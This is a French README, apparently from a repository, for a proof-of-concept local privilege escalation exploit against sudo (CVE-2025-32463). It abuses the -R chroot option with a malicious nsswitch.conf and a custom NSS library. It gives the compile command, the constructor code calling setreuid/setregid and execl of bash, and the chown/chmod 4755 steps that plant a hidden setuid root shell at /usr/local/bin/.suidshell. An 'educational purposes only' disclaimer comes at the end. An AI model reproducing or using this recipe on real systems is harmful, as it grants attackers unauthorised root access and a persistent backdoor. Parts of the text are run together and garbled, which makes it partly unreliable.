
Sudo Local Privilege Escalation CVE-2025-32463 (Idéal pour les cas où le shell n'est pas stable pour générer un nouveau shell root)
sudo -RCette POC démontre l'escalade de privilèges locaux sur les systèmes Linux via l'abus de l'option sudo -R combinée à un module NSS personnalisé. Elle cible la vulnérabilité CVE-2025-32463, qui découle d'une gestion non sécurisée des fichiers nsswitch.conf et des bibliothèques partagées NSS dans un environnement chroot.
Cette POC, sudo2root, adapte la technique originale en compilant un module NSS personnalisé qui exploite l'attribut constructor pour escalader les privilèges et déposer un shell root setuid dans /usr/local/bin/.suidshell.
-R chroot par sudo.sudo peut exécuter du code arbitraire en tant que root, brisant l'isolation des conteneurs et des utilisateurs.sudo -R change le répertoire racine mais n'abandonne pas les privilèges ni ne nettoie l'environnement.nsswitch.conf malveillant et un objet partagé libnss_* personnalisé.sudo pour qu'il charge la bibliothèque NSS contrôlée par l'attaquant.__attribute__((constructor))), dépose un shell root setuid et escalade les privilèges.sudo2root.c – Module NSS malveillant :
setreuid(0,0) et setregid(0,0)gccScript d'exploitation Bash :
etc/nsswitch.conflibnss_/sudo2root1337.so.2sudo -R sudo2root sudo2root
Shell Setuid :
/usr/local/bin/.suidshell/usr/local/bin/.suidshell id
chmod +x sudoiinject.sh
./sudoinject.sh
Après l'exécution de l'exploit, lancez :
/usr/local/bin/.suidshell
whoami # => root
sudoinject.sh # Script d'exploitation principal
libnss_/sudo2root1337.so.2 # Module NSS malveillant (compilé)
sudo2root/etc/nsswitch.conf # nsswitch personnalisé pointant vers le module factice
/usr/local/bin/.suidshell # Shell root setuid final
sudo -R :-R <dir> de sudo change le répertoire racine avant d'exécuter une commande.nsswitch.conf personnalisé avec passwd: /libnss_<name>.so, sudo le charge avant d'abandonner les privilèges.L'objet partagé est compilé avec :
gcc -shared -fPIC -Wl,-init,exploit_constructor -o libnss_/sudo2root1337.so.2 sudo2root.c
Le constructeur s'exécute avant toute logique main().
Crée et compile un shell suid avec :
setreuid(0,0); setregid(0,0); execl("/bin/bash", "bash", NULL);
Définit les permissions via :
chown 0:0 .suidshell && chmod 4755 .suidshell

MikiVirusCe code est fourni uniquement à des fins éducatives. L'utilisation non autorisée de ce code sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale et contraire à l'éthique. Obtenez toujours une autorisation appropriée avant d'effectuer des tests de sécurité.